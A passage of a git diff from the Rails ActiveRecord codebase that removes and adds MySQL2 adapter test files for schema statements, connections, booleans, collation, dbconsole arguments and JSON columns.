-  def test_index_in_bulk_change
-    def (ActiveRecord::Base.connection).data_source_exists?(*); true; end
-    def (ActiveRecord::Base.connection).index_name_exists?(*); false; end
-
-    %w(SPATIAL FULLTEXT UNIQUE).each do |type|
-      expected = "ALTER TABLE `people` ADD #{type} INDEX `index_people_on_last_name`  (`last_name`)"
-      actual = ActiveRecord::Base.connection.change_table(:people, bulk: true) do |t|
-        t.index :last_name, type: type
-      end
-      assert_equal expected, actual
-    end
-
-    expected = "ALTER TABLE `people` ADD  INDEX `index_people_on_last_name` USING btree (`last_name`(10)), ALGORITHM = COPY"
-    actual = ActiveRecord::Base.connection.change_table(:people, bulk: true) do |t|
-      t.index :last_name, length: 10, using: :btree, algorithm: :copy
-    end
-    assert_equal expected, actual
-  end
-
-  def test_drop_table
-    assert_equal "DROP TABLE `people`", drop_table(:people)
-  end
-
-  def test_create_mysql_database_with_encoding
-    assert_equal "CREATE DATABASE `matt` DEFAULT CHARACTER SET `utf8`", create_database(:matt)
-    assert_equal "CREATE DATABASE `aimonetti` DEFAULT CHARACTER SET `latin1`", create_database(:aimonetti, charset: "latin1")
-    assert_equal "CREATE DATABASE `matt_aimonetti` DEFAULT CHARACTER SET `big5` COLLATE `big5_chinese_ci`", create_database(:matt_aimonetti, charset: :big5, collation: :big5_chinese_ci)
-  end
-
-  def test_recreate_mysql_database_with_encoding
-    create_database(:luca, charset: "latin1")
-    assert_equal "CREATE DATABASE `luca` DEFAULT CHARACTER SET `latin1`", recreate_database(:luca, charset: "latin1")
-  end
-
-  def test_add_column
-    assert_equal "ALTER TABLE `people` ADD `last_name` varchar(255)", add_column(:people, :last_name, :string)
-  end
-
-  def test_add_column_with_limit
-    assert_equal "ALTER TABLE `people` ADD `key` varchar(32)", add_column(:people, :key, :string, limit: 32)
-  end
-
-  def test_drop_table_with_specific_database
-    assert_equal "DROP TABLE `otherdb`.`people`", drop_table("otherdb.people")
-  end
-
-  def test_add_timestamps
-    with_real_execute do
-      begin
-        ActiveRecord::Base.connection.create_table :delete_me
-        ActiveRecord::Base.connection.add_timestamps :delete_me, null: true
-        assert column_present?("delete_me", "updated_at", "datetime")
-        assert column_present?("delete_me", "created_at", "datetime")
-      ensure
-        ActiveRecord::Base.connection.drop_table :delete_me rescue nil
-      end
-    end
-  end
-
-  def test_remove_timestamps
-    with_real_execute do
-      begin
-        ActiveRecord::Base.connection.create_table :delete_me do |t|
-          t.timestamps null: true
-        end
-        ActiveRecord::Base.connection.remove_timestamps :delete_me, null: true
-        assert !column_present?("delete_me", "updated_at", "datetime")
-        assert !column_present?("delete_me", "created_at", "datetime")
-      ensure
-        ActiveRecord::Base.connection.drop_table :delete_me rescue nil
-      end
-    end
-  end
-
-  def test_indexes_in_create
-    ActiveRecord::Base.connection.stubs(:data_source_exists?).with(:temp).returns(false)
-    ActiveRecord::Base.connection.stubs(:index_name_exists?).with(:index_temp_on_zip).returns(false)
-
-    expected = "CREATE TEMPORARY TABLE `temp` ( INDEX `index_temp_on_zip`  (`zip`)) ENGINE=InnoDB AS SELECT id, name, zip FROM a_really_complicated_query"
-    actual = ActiveRecord::Base.connection.create_table(:temp, temporary: true, as: "SELECT id, name, zip FROM a_really_complicated_query") do |t|
-      t.index :zip
-    end
-
-    assert_equal expected, actual
-  end
-
-  private
-    def with_real_execute
-      ActiveRecord::Base.connection.singleton_class.class_eval do
-        alias_method :execute_with_stub, :execute
-        remove_method :execute
-        alias_method :execute, :execute_without_stub
-      end
-
-      yield
-    ensure
-      ActiveRecord::Base.connection.singleton_class.class_eval do
-        remove_method :execute
-        alias_method :execute, :execute_with_stub
-      end
-    end
-
-    def method_missing(method_symbol, *arguments)
-      ActiveRecord::Base.connection.send(method_symbol, *arguments)
-    end
-
-    def column_present?(table_name, column_name, type)
-      results = ActiveRecord::Base.connection.select_all("SHOW FIELDS FROM #{table_name} LIKE '#{column_name}'")
-      results.first && results.first["Type"] == type
-    end
-end
diff --git a/activerecord/test/cases/adapters/mysql2/bind_parameter_test.rb b/activerecord/test/cases/adapters/mysql2/bind_parameter_test.rb
deleted file mode 100644
index 8f7c803a213f3..0000000000000
--- a/activerecord/test/cases/adapters/mysql2/bind_parameter_test.rb
+++ /dev/null
@@ -1,50 +0,0 @@
-require "cases/helper"
-require "models/topic"
-
-module ActiveRecord
-  module ConnectionAdapters
-    class Mysql2Adapter
-      class BindParameterTest < ActiveRecord::Mysql2TestCase
-        fixtures :topics
-
-        def test_update_question_marks
-          str       = "foo?bar"
-          x         = Topic.first
-          x.title   = str
-          x.content = str
-          x.save!
-          x.reload
-          assert_equal str, x.title
-          assert_equal str, x.content
-        end
-
-        def test_create_question_marks
-          str = "foo?bar"
-          x   = Topic.create!(title: str, content: str)
-          x.reload
-          assert_equal str, x.title
-          assert_equal str, x.content
-        end
-
-        def test_update_null_bytes
-          str       = "foo\0bar"
-          x         = Topic.first
-          x.title   = str
-          x.content = str
-          x.save!
-          x.reload
-          assert_equal str, x.title
-          assert_equal str, x.content
-        end
-
-        def test_create_null_bytes
-          str = "foo\0bar"
-          x   = Topic.create!(title: str, content: str)
-          x.reload
-          assert_equal str, x.title
-          assert_equal str, x.content
-        end
-      end
-    end
-  end
-end
diff --git a/activerecord/test/cases/adapters/mysql2/boolean_test.rb b/activerecord/test/cases/adapters/mysql2/boolean_test.rb
deleted file mode 100644
index 2fa39282fb6f6..0000000000000
--- a/activerecord/test/cases/adapters/mysql2/boolean_test.rb
+++ /dev/null
@@ -1,100 +0,0 @@
-require "cases/helper"
-
-class Mysql2BooleanTest < ActiveRecord::Mysql2TestCase
-  self.use_transactional_tests = false
-
-  class BooleanType < ActiveRecord::Base
-    self.table_name = "mysql_booleans"
-  end
-
-  setup do
-    @connection = ActiveRecord::Base.connection
-    @connection.clear_cache!
-    @connection.create_table("mysql_booleans") do |t|
-      t.boolean "archived"
-      t.string "published", limit: 1
-    end
-    BooleanType.reset_column_information
-
-    @emulate_booleans = ActiveRecord::ConnectionAdapters::Mysql2Adapter.emulate_booleans
-  end
-
-  teardown do
-    emulate_booleans @emulate_booleans
-    @connection.drop_table "mysql_booleans"
-  end
-
-  test "column type with emulated booleans" do
-    emulate_booleans true
-
-    assert_equal :boolean, boolean_column.type
-    assert_equal :string, string_column.type
-  end
-
-  test "column type without emulated booleans" do
-    emulate_booleans false
-
-    assert_equal :integer, boolean_column.type
-    assert_equal :string, string_column.type
-  end
-
-  test "test type casting with emulated booleans" do
-    emulate_booleans true
-
-    boolean = BooleanType.create!(archived: true, published: true)
-    attributes = boolean.reload.attributes_before_type_cast
-    assert_equal 1, attributes["archived"]
-    assert_equal "1", attributes["published"]
-
-    boolean = BooleanType.create!(archived: false, published: false)
-    attributes = boolean.reload.attributes_before_type_cast
-    assert_equal 0, attributes["archived"]
-    assert_equal "0", attributes["published"]
-
-    assert_equal 1, @connection.type_cast(true)
-    assert_equal 0, @connection.type_cast(false)
-  end
-
-  test "test type casting without emulated booleans" do
-    emulate_booleans false
-
-    boolean = BooleanType.create!(archived: true, published: true)
-    attributes = boolean.reload.attributes_before_type_cast
-    assert_equal 1, attributes["archived"]
-    assert_equal "1", attributes["published"]
-
-    boolean = BooleanType.create!(archived: false, published: false)
-    attributes = boolean.reload.attributes_before_type_cast
-    assert_equal 0, attributes["archived"]
-    assert_equal "0", attributes["published"]
-
-    assert_equal 1, @connection.type_cast(true)
-    assert_equal 0, @connection.type_cast(false)
-  end
-
-  test "with booleans stored as 1 and 0" do
-    @connection.execute "INSERT INTO mysql_booleans(archived, published) VALUES(1, '1')"
-    boolean = BooleanType.first
-    assert_equal true, boolean.archived
-    assert_equal "1", boolean.published
-  end
-
-  test "with booleans stored as t" do
-    @connection.execute "INSERT INTO mysql_booleans(published) VALUES('t')"
-    boolean = BooleanType.first
-    assert_equal "t", boolean.published
-  end
-
-  def boolean_column
-    BooleanType.columns.find { |c| c.name == "archived" }
-  end
-
-  def string_column
-    BooleanType.columns.find { |c| c.name == "published" }
-  end
-
-  def emulate_booleans(value)
-    ActiveRecord::ConnectionAdapters::Mysql2Adapter.emulate_booleans = value
-    BooleanType.reset_column_information
-  end
-end
diff --git a/activerecord/test/cases/adapters/mysql2/charset_collation_test.rb b/activerecord/test/cases/adapters/mysql2/charset_collation_test.rb
deleted file mode 100644
index 8826ad7fd13f3..0000000000000
--- a/activerecord/test/cases/adapters/mysql2/charset_collation_test.rb
+++ /dev/null
@@ -1,54 +0,0 @@
-require "cases/helper"
-require "support/schema_dumping_helper"
-
-class Mysql2CharsetCollationTest < ActiveRecord::Mysql2TestCase
-  include SchemaDumpingHelper
-  self.use_transactional_tests = false
-
-  setup do
-    @connection = ActiveRecord::Base.connection
-    @connection.create_table :charset_collations, force: true do |t|
-      t.string :string_ascii_bin, charset: "ascii", collation: "ascii_bin"
-      t.text :text_ucs2_unicode_ci, charset: "ucs2", collation: "ucs2_unicode_ci"
-    end
-  end
-
-  teardown do
-    @connection.drop_table :charset_collations, if_exists: true
-  end
-
-  test "string column with charset and collation" do
-    column = @connection.columns(:charset_collations).find { |c| c.name == "string_ascii_bin" }
-    assert_equal :string, column.type
-    assert_equal "ascii_bin", column.collation
-  end
-
-  test "text column with charset and collation" do
-    column = @connection.columns(:charset_collations).find { |c| c.name == "text_ucs2_unicode_ci" }
-    assert_equal :text, column.type
-    assert_equal "ucs2_unicode_ci", column.collation
-  end
-
-  test "add column with charset and collation" do
-    @connection.add_column :charset_collations, :title, :string, charset: "utf8", collation: "utf8_bin"
-
-    column = @connection.columns(:charset_collations).find { |c| c.name == "title" }
-    assert_equal :string, column.type
-    assert_equal "utf8_bin", column.collation
-  end
-
-  test "change column with charset and collation" do
-    @connection.add_column :charset_collations, :description, :string, charset: "utf8", collation: "utf8_unicode_ci"
-    @connection.change_column :charset_collations, :description, :text, charset: "utf8", collation: "utf8_general_ci"
-
-    column = @connection.columns(:charset_collations).find { |c| c.name == "description" }
-    assert_equal :text, column.type
-    assert_equal "utf8_general_ci", column.collation
-  end
-
-  test "schema dump includes collation" do
-    output = dump_table_schema("charset_collations")
-    assert_match %r{t.string\s+"string_ascii_bin",\s+collation: "ascii_bin"$}, output
-    assert_match %r{t.text\s+"text_ucs2_unicode_ci",\s+collation: "ucs2_unicode_ci"$}, output
-  end
-end
diff --git a/activerecord/test/cases/adapters/mysql2/check_constraint_quoting_test.rb b/activerecord/test/cases/adapters/mysql2/check_constraint_quoting_test.rb
new file mode 100644
index 0000000000000..9421657b05ca4
--- /dev/null
+++ b/activerecord/test/cases/adapters/mysql2/check_constraint_quoting_test.rb
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/schema_dumping_helper"
+
+if ActiveRecord::Base.lease_connection.supports_check_constraints?
+  class Mysql2CheckConstraintQuotingTest < ActiveRecord::Mysql2TestCase
+    include SchemaDumpingHelper
+
+    setup do
+      @connection = ActiveRecord::Base.lease_connection
+      @connection.create_table "trades", force: true do |t|
+        t.string :name
+      end
+    end
+
+    teardown do
+      @connection.drop_table "trades", if_exists: true rescue nil
+    end
+
+    def test_check_constraint_no_duplicate_expression_quoting
+      @connection.add_check_constraint :trades, "name != 'forbidden_string'"
+
+      check_constraints = @connection.check_constraints("trades")
+      assert_equal 1, check_constraints.size
+
+      expression = check_constraints.first.expression
+      if ActiveRecord::Base.lease_connection.mariadb?
+        assert_equal "`name` <> 'forbidden_string'", expression
+      else
+        assert_equal "`name` <> _utf8mb4'forbidden_string'", expression
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/adapters/mysql2/connection_test.rb b/activerecord/test/cases/adapters/mysql2/connection_test.rb
deleted file mode 100644
index 1f9447239094d..0000000000000
--- a/activerecord/test/cases/adapters/mysql2/connection_test.rb
+++ /dev/null
@@ -1,195 +0,0 @@
-require "cases/helper"
-require "support/connection_helper"
-
-class Mysql2ConnectionTest < ActiveRecord::Mysql2TestCase
-  include ConnectionHelper
-
-  fixtures :comments
-
-  def setup
-    super
-    @subscriber = SQLSubscriber.new
-    @subscription = ActiveSupport::Notifications.subscribe("sql.active_record", @subscriber)
-    @connection = ActiveRecord::Base.connection
-  end
-
-  def teardown
-    ActiveSupport::Notifications.unsubscribe(@subscription)
-    super
-  end
-
-  def test_bad_connection
-    assert_raise ActiveRecord::NoDatabaseError do
-      configuration = ActiveRecord::Base.configurations["arunit"].merge(database: "inexistent_activerecord_unittest")
-      connection = ActiveRecord::Base.mysql2_connection(configuration)
-      connection.drop_table "ex", if_exists: true
-    end
-  end
-
-  def test_truncate
-    rows = ActiveRecord::Base.connection.exec_query("select count(*) from comments")
-    count = rows.first.values.first
-    assert_operator count, :>, 0
-
-    ActiveRecord::Base.connection.truncate("comments")
-    rows = ActiveRecord::Base.connection.exec_query("select count(*) from comments")
-    count = rows.first.values.first
-    assert_equal 0, count
-  end
-
-  def test_no_automatic_reconnection_after_timeout
-    assert @connection.active?
-    @connection.update("set @@wait_timeout=1")
-    sleep 2
-    assert !@connection.active?
-
-    # Repair all fixture connections so other tests won't break.
-    @fixture_connections.each(&:verify!)
-  end
-
-  def test_successful_reconnection_after_timeout_with_manual_reconnect
-    assert @connection.active?
-    @connection.update("set @@wait_timeout=1")
-    sleep 2
-    @connection.reconnect!
-    assert @connection.active?
-  end
-
-  def test_successful_reconnection_after_timeout_with_verify
-    assert @connection.active?
-    @connection.update("set @@wait_timeout=1")
-    sleep 2
-    @connection.verify!
-    assert @connection.active?
-  end
-
-  def test_execute_after_disconnect
-    @connection.disconnect!
-
-    error = assert_raise(ActiveRecord::StatementInvalid) do
-      @connection.execute("SELECT 1")
-    end
-    assert_kind_of Mysql2::Error, error.cause
-  end
-
-  def test_quote_after_disconnect
-    @connection.disconnect!
-
-    assert_raise(Mysql2::Error) do
-      @connection.quote("string")
-    end
-  end
-
-  def test_active_after_disconnect
-    @connection.disconnect!
-    assert_equal false, @connection.active?
-  end
-
-  def test_mysql_connection_collation_is_configured
-    assert_equal "utf8_unicode_ci", @connection.show_variable("collation_connection")
-    assert_equal "utf8_general_ci", ARUnit2Model.connection.show_variable("collation_connection")
-  end
-
-  def test_mysql_default_in_strict_mode
-    result = @connection.select_value("SELECT @@SESSION.sql_mode")
-    assert_match %r(STRICT_ALL_TABLES), result
-  end
-
-  def test_mysql_strict_mode_disabled
-    run_without_connection do |orig_connection|
-      ActiveRecord::Base.establish_connection(orig_connection.merge(strict: false))
-      result = ActiveRecord::Base.connection.select_value("SELECT @@SESSION.sql_mode")
-      assert_no_match %r(STRICT_ALL_TABLES), result
-    end
-  end
-
-  def test_mysql_strict_mode_specified_default
-    run_without_connection do |orig_connection|
-      ActiveRecord::Base.establish_connection(orig_connection.merge(strict: :default))
-      global_sql_mode = ActiveRecord::Base.connection.select_value("SELECT @@GLOBAL.sql_mode")
-      session_sql_mode = ActiveRecord::Base.connection.select_value("SELECT @@SESSION.sql_mode")
-      assert_equal global_sql_mode, session_sql_mode
-    end
-  end
-
-  def test_mysql_sql_mode_variable_overrides_strict_mode
-    run_without_connection do |orig_connection|
-      ActiveRecord::Base.establish_connection(orig_connection.deep_merge(variables: { "sql_mode" => "ansi" }))
-      result = ActiveRecord::Base.connection.select_value("SELECT @@SESSION.sql_mode")
-      assert_no_match %r(STRICT_ALL_TABLES), result
-    end
-  end
-
-  def test_passing_arbitrary_flags_to_adapter
-    run_without_connection do |orig_connection|
-      ActiveRecord::Base.establish_connection(orig_connection.merge(flags: Mysql2::Client::COMPRESS))
-      assert_equal (Mysql2::Client::COMPRESS | Mysql2::Client::FOUND_ROWS), ActiveRecord::Base.connection.raw_connection.query_options[:flags]
-    end
-  end
-
-  def test_passing_flags_by_array_to_adapter
-    run_without_connection do |orig_connection|
-      ActiveRecord::Base.establish_connection(orig_connection.merge(flags: ["COMPRESS"]))
-      assert_equal ["COMPRESS", "FOUND_ROWS"], ActiveRecord::Base.connection.raw_connection.query_options[:flags]
-    end
-  end
-
-  def test_mysql_set_session_variable
-    run_without_connection do |orig_connection|
-      ActiveRecord::Base.establish_connection(orig_connection.deep_merge(variables: { default_week_format: 3 }))
-      session_mode = ActiveRecord::Base.connection.exec_query "SELECT @@SESSION.DEFAULT_WEEK_FORMAT"
-      assert_equal 3, session_mode.rows.first.first.to_i
-    end
-  end
-
-  def test_mysql_set_session_variable_to_default
-    run_without_connection do |orig_connection|
-      ActiveRecord::Base.establish_connection(orig_connection.deep_merge(variables: { default_week_format: :default }))
-      global_mode = ActiveRecord::Base.connection.exec_query "SELECT @@GLOBAL.DEFAULT_WEEK_FORMAT"
-      session_mode = ActiveRecord::Base.connection.exec_query "SELECT @@SESSION.DEFAULT_WEEK_FORMAT"
-      assert_equal global_mode.rows, session_mode.rows
-    end
-  end
-
-  def test_logs_name_show_variable
-    @connection.show_variable "foo"
-    assert_equal "SCHEMA", @subscriber.logged[0][1]
-  end
-
-  def test_logs_name_rename_column_sql
-    @connection.execute "CREATE TABLE `bar_baz` (`foo` varchar(255))"
-    @subscriber.logged.clear
-    @connection.send(:rename_column_sql, "bar_baz", "foo", "foo2")
-    assert_equal "SCHEMA", @subscriber.logged[0][1]
-  ensure
-    @connection.execute "DROP TABLE `bar_baz`"
-  end
-
-  def test_get_and_release_advisory_lock
-    lock_name = "test lock'n'name"
-
-    got_lock = @connection.get_advisory_lock(lock_name)
-    assert got_lock, "get_advisory_lock should have returned true but it didn't"
-
-    assert_equal test_lock_free(lock_name), false,
-      "expected the test advisory lock to be held but it wasn't"
-
-    released_lock = @connection.release_advisory_lock(lock_name)
-    assert released_lock, "expected release_advisory_lock to return true but it didn't"
-
-    assert test_lock_free(lock_name), "expected the test lock to be available after releasing"
-  end
-
-  def test_release_non_existent_advisory_lock
-    lock_name = "fake lock'n'name"
-    released_non_existent_lock = @connection.release_advisory_lock(lock_name)
-    assert_equal released_non_existent_lock, false,
-      "expected release_advisory_lock to return false when there was no lock to release"
-  end
-
-  private
-
-    def test_lock_free(lock_name)
-      @connection.select_value("SELECT IS_FREE_LOCK(#{@connection.quote(lock_name)})") == 1
-    end
-end
diff --git a/activerecord/test/cases/adapters/mysql2/datetime_precision_quoting_test.rb b/activerecord/test/cases/adapters/mysql2/datetime_precision_quoting_test.rb
deleted file mode 100644
index c131a5169c1dc..0000000000000
--- a/activerecord/test/cases/adapters/mysql2/datetime_precision_quoting_test.rb
+++ /dev/null
@@ -1,52 +0,0 @@
-require "cases/helper"
-
-class Mysql2DatetimePrecisionQuotingTest < ActiveRecord::Mysql2TestCase
-  setup do
-    @connection = ActiveRecord::Base.connection
-  end
-
-  test "microsecond precision for MySQL gte 5.6.4" do
-    stub_version "5.6.4" do
-      assert_microsecond_precision
-    end
-  end
-
-  test "no microsecond precision for MySQL lt 5.6.4" do
-    stub_version "5.6.3" do
-      assert_no_microsecond_precision
-    end
-  end
-
-  test "microsecond precision for MariaDB gte 5.3.0" do
-    stub_version "5.5.5-10.1.8-MariaDB-log" do
-      assert_microsecond_precision
-    end
-  end
-
-  test "no microsecond precision for MariaDB lt 5.3.0" do
-    stub_version "5.2.9-MariaDB" do
-      assert_no_microsecond_precision
-    end
-  end
-
-  private
-    def assert_microsecond_precision
-      assert_match_quoted_microsecond_datetime(/\.000001\z/)
-    end
-
-    def assert_no_microsecond_precision
-      assert_match_quoted_microsecond_datetime(/\d\z/)
-    end
-
-    def assert_match_quoted_microsecond_datetime(match)
-      assert_match match, @connection.quoted_date(Time.now.change(usec: 1))
-    end
-
-    def stub_version(full_version_string)
-      @connection.stubs(:full_version).returns(full_version_string)
-      @connection.remove_instance_variable(:@version) if @connection.instance_variable_defined?(:@version)
-      yield
-    ensure
-      @connection.remove_instance_variable(:@version) if @connection.instance_variable_defined?(:@version)
-    end
-end
diff --git a/activerecord/test/cases/adapters/mysql2/dbconsole_test.rb b/activerecord/test/cases/adapters/mysql2/dbconsole_test.rb
new file mode 100644
index 0000000000000..ed1df018590c0
--- /dev/null
+++ b/activerecord/test/cases/adapters/mysql2/dbconsole_test.rb
@@ -0,0 +1,87 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "active_support/testing/method_call_assertions"
+
+module ActiveRecord
+  module ConnectionAdapters
+    class Mysql2DbConsoleTest < ActiveRecord::Mysql2TestCase
+      include ActiveSupport::Testing::MethodCallAssertions
+
+      def test_mysql
+        config = make_db_config(adapter: "mysql2", database: "db")
+
+        assert_find_cmd_and_exec_called_with([%w[mysql mysql5], "db"]) do
+          Mysql2Adapter.dbconsole(config)
+        end
+      end
+
+      def test_mysql_full
+        config = make_db_config(
+          adapter:   "mysql2",
+          database:  "db",
+          host:      "localhost",
+          port:      1234,
+          socket:    "socket",
+          username:  "user",
+          password:  "qwerty",
+          encoding:  "UTF-8",
+          sslca:     "/path/to/ca-cert.pem",
+          sslcert:   "/path/to/client-cert.pem",
+          sslcapath: "/path/to/cacerts",
+          sslcipher: "DHE-RSA-AES256-SHA",
+          sslkey:    "/path/to/client-key.pem",
+          ssl_mode:  "VERIFY_IDENTITY"
+        )
+
+        args = [
+          %w[mysql mysql5],
+          "--host=localhost",
+          "--port=1234",
+          "--socket=socket",
+          "--user=user",
+          "--default-character-set=UTF-8",
+          "--ssl-ca=/path/to/ca-cert.pem",
+          "--ssl-cert=/path/to/client-cert.pem",
+          "--ssl-capath=/path/to/cacerts",
+          "--ssl-cipher=DHE-RSA-AES256-SHA",
+          "--ssl-key=/path/to/client-key.pem",
+          "--ssl-mode=VERIFY_IDENTITY",
+          "-p", "db"
+        ]
+
+        assert_find_cmd_and_exec_called_with(args) do
+          Mysql2Adapter.dbconsole(config)
+        end
+      end
+
+      def test_mysql_include_password
+        config = make_db_config(adapter: "mysql2", database: "db", username: "user", password: "qwerty")
+
+        assert_find_cmd_and_exec_called_with([%w[mysql mysql5], "--user=user", "--password=qwerty", "db"]) do
+          Mysql2Adapter.dbconsole(config, include_password: true)
+        end
+      end
+
+      def test_mysql_can_use_alternative_cli
+        ActiveRecord.database_cli[:mysql] = "mycli"
+        config = make_db_config(adapter: "mysql2", database: "db", database_cli: "mycli")
+
+        assert_find_cmd_and_exec_called_with(["mycli", "db"]) do
+          Mysql2Adapter.dbconsole(config)
+        end
+      ensure
+        ActiveRecord.database_cli[:mysql] = %w[mysql mysql5]
+      end
+
+      private
+        def make_db_config(config)
+          ActiveRecord::DatabaseConfigurations::HashConfig.new("test", "primary", config)
+        end
+
+        def assert_find_cmd_and_exec_called_with(args, &block)
+          assert_called_with(Mysql2Adapter, :find_cmd_and_exec, args, &block)
+        end
+    end
+  end
+end
diff --git a/activerecord/test/cases/adapters/mysql2/enum_test.rb b/activerecord/test/cases/adapters/mysql2/enum_test.rb
deleted file mode 100644
index 7ad3e3ca2d3ac..0000000000000
--- a/activerecord/test/cases/adapters/mysql2/enum_test.rb
+++ /dev/null
@@ -1,21 +0,0 @@
-require "cases/helper"
-
-class Mysql2EnumTest < ActiveRecord::Mysql2TestCase
-  class EnumTest < ActiveRecord::Base
-  end
-
-  def test_enum_limit
-    column = EnumTest.columns_hash["enum_column"]
-    assert_equal 8, column.limit
-  end
-
-  def test_should_not_be_unsigned
-    column = EnumTest.columns_hash["enum_column"]
-    assert_not column.unsigned?
-  end
-
-  def test_should_not_be_bigint
-    column = EnumTest.columns_hash["enum_column"]
-    assert_not column.bigint?
-  end
-end
diff --git a/activerecord/test/cases/adapters/mysql2/explain_test.rb b/activerecord/test/cases/adapters/mysql2/explain_test.rb
deleted file mode 100644
index 7916921e5aa1a..0000000000000
--- a/activerecord/test/cases/adapters/mysql2/explain_test.rb
+++ /dev/null
@@ -1,21 +0,0 @@
-require "cases/helper"
-require "models/developer"
-require "models/computer"
-
-class Mysql2ExplainTest < ActiveRecord::Mysql2TestCase
-  fixtures :developers
-
-  def test_explain_for_one_query
-    explain = Developer.where(id: 1).explain
-    assert_match %(EXPLAIN for: SELECT `developers`.* FROM `developers` WHERE `developers`.`id` = 1), explain
-    assert_match %r(developers |.* const), explain
-  end
-
-  def test_explain_with_eager_loading
-    explain = Developer.where(id: 1).includes(:audit_logs).explain
-    assert_match %(EXPLAIN for: SELECT `developers`.* FROM `developers` WHERE `developers`.`id` = 1), explain
-    assert_match %r(developers |.* const), explain
-    assert_match %(EXPLAIN for: SELECT `audit_logs`.* FROM `audit_logs` WHERE `audit_logs`.`developer_id` = 1), explain
-    assert_match %r(audit_logs |.* ALL), explain
-  end
-end
diff --git a/activerecord/test/cases/adapters/mysql2/json_test.rb b/activerecord/test/cases/adapters/mysql2/json_test.rb
deleted file mode 100644
index 6954006003961..0000000000000
--- a/activerecord/test/cases/adapters/mysql2/json_test.rb
+++ /dev/null
@@ -1,195 +0,0 @@
-require "cases/helper"
-require "support/schema_dumping_helper"
-
-if ActiveRecord::Base.connection.supports_json?
-  class Mysql2JSONTest < ActiveRecord::Mysql2TestCase
-    include SchemaDumpingHelper
-    self.use_transactional_tests = false
-
-    class JsonDataType < ActiveRecord::Base
-      self.table_name = "json_data_type"
-
-      store_accessor :settings, :resolution
-    end
-
-    def setup
-      @connection = ActiveRecord::Base.connection
-      begin
-        @connection.create_table("json_data_type") do |t|
-          t.json "payload"
-          t.json "settings"
-        end
-      end
-    end
-
-    def teardown
-      @connection.drop_table :json_data_type, if_exists: true
-      JsonDataType.reset_column_information
-    end
-
-    def test_column
-      column = JsonDataType.columns_hash["payload"]
-      assert_equal :json, column.type
-      assert_equal "json", column.sql_type
-
-      type = JsonDataType.type_for_attribute("payload")
-      assert_not type.binary?
-    end
-
-    def test_change_table_supports_json
-      @connection.change_table("json_data_type") do |t|
-        t.json "users"
-      end
-      JsonDataType.reset_column_information
-      column = JsonDataType.columns_hash["users"]
-      assert_equal :json, column.type
-    end
-
-    def test_schema_dumping
-      output = dump_table_schema("json_data_type")
-      assert_match(/t\.json\s+"settings"/, output)
-    end
-
-    def test_cast_value_on_write
-      x = JsonDataType.new payload: { "string" => "foo", :symbol => :bar }
-      assert_equal({ "string" => "foo", :symbol => :bar }, x.payload_before_type_cast)
-      assert_equal({ "string" => "foo", "symbol" => "bar" }, x.payload)
-      x.save
-      assert_equal({ "string" => "foo", "symbol" => "bar" }, x.reload.payload)
-    end
-
-    def test_type_cast_json
-      type = JsonDataType.type_for_attribute("payload")
-
-      data = "{\"a_key\":\"a_value\"}"
-      hash = type.deserialize(data)
-      assert_equal({ "a_key" => "a_value" }, hash)
-      assert_equal({ "a_key" => "a_value" }, type.deserialize(data))
-
-      assert_equal({}, type.deserialize("{}"))
-      assert_equal({ "key" => nil }, type.deserialize('{"key": null}'))
-      assert_equal({ "c" => "}", '"a"' => 'b "a b' }, type.deserialize(%q({"c":"}", "\"a\"":"b \"a b"})))
-    end
-
-    def test_rewrite
-      @connection.execute "insert into json_data_type (payload) VALUES ('{\"k\":\"v\"}')"
-      x = JsonDataType.first
-      x.payload = { '"a\'' => "b" }
-      assert x.save!
-    end
-
-    def test_select
-      @connection.execute "insert into json_data_type (payload) VALUES ('{\"k\":\"v\"}')"
-      x = JsonDataType.first
-      assert_equal({ "k" => "v" }, x.payload)
-    end
-
-    def test_select_multikey
-      @connection.execute %q|insert into json_data_type (payload) VALUES ('{"k1":"v1", "k2":"v2", "k3":[1,2,3]}')|
-      x = JsonDataType.first
-      assert_equal({ "k1" => "v1", "k2" => "v2", "k3" => [1, 2, 3] }, x.payload)
-    end
-
-    def test_null_json
-      @connection.execute "insert into json_data_type (payload) VALUES(null)"
-      x = JsonDataType.first
-      assert_nil(x.payload)
-    end
-
-    def test_select_array_json_value
-      @connection.execute %q|insert into json_data_type (payload) VALUES ('["v0",{"k1":"v1"}]')|
-      x = JsonDataType.first
-      assert_equal(["v0", { "k1" => "v1" }], x.payload)
-    end
-
-    def test_select_nil_json_after_create
-      json = JsonDataType.create(payload: nil)
-      x = JsonDataType.where(payload: nil).first
-      assert_equal(json, x)
-    end
-
-    def test_select_nil_json_after_update
-      json = JsonDataType.create(payload: "foo")
-      x = JsonDataType.where(payload: nil).first
-      assert_nil(x)
-
-      json.update_attributes payload: nil
-      x = JsonDataType.where(payload: nil).first
-      assert_equal(json.reload, x)
-    end
-
-    def test_rewrite_array_json_value
-      @connection.execute %q|insert into json_data_type (payload) VALUES ('["v0",{"k1":"v1"}]')|
-      x = JsonDataType.first
-      x.payload = ["v1", { "k2" => "v2" }, "v3"]
-      assert x.save!
-    end
-
-    def test_with_store_accessors
-      x = JsonDataType.new(resolution: "320×480")
-      assert_equal "320×480", x.resolution
-
-      x.save!
-      x = JsonDataType.first
-      assert_equal "320×480", x.resolution
-
-      x.resolution = "640×1136"
-      x.save!
-
-      x = JsonDataType.first
-      assert_equal "640×1136", x.resolution
-    end
-
-    def test_duplication_with_store_accessors
-      x = JsonDataType.new(resolution: "320×480")
-      assert_equal "320×480", x.resolution
-
-      y = x.dup
-      assert_equal "320×480", y.resolution
-    end
-
-    def test_yaml_round_trip_with_store_accessors
-      x = JsonDataType.new(resolution: "320×480")
-      assert_equal "320×480", x.resolution
-
-      y = YAML.load(YAML.dump(x))
-      assert_equal "320×480", y.resolution
-    end
-
-    def test_changes_in_place
-      json = JsonDataType.new
-      assert_not json.changed?
-
-      json.payload = { "one" => "two" }
-      assert json.changed?
-      assert json.payload_changed?
-
-      json.save!
-      assert_not json.changed?
-
-      json.payload["three"] = "four"
-      assert json.payload_changed?
-
-      json.save!
-      json.reload
-
-      assert_equal({ "one" => "two", "three" => "four" }, json.payload)
-      assert_not json.changed?
-    end
-
-    def test_assigning_string_literal
-      json = JsonDataType.create(payload: "foo")
-      assert_equal "foo", json.payload
-    end
-
-    def test_assigning_number
-      json = JsonDataType.create(payload: 1.234)
-      assert_equal 1.234, json.payload
-    end
-
-    def test_assigning_boolean
-      json = JsonDataType.create(payload: true)
-      assert_equal true, json.payload
-    end
-  end
-end
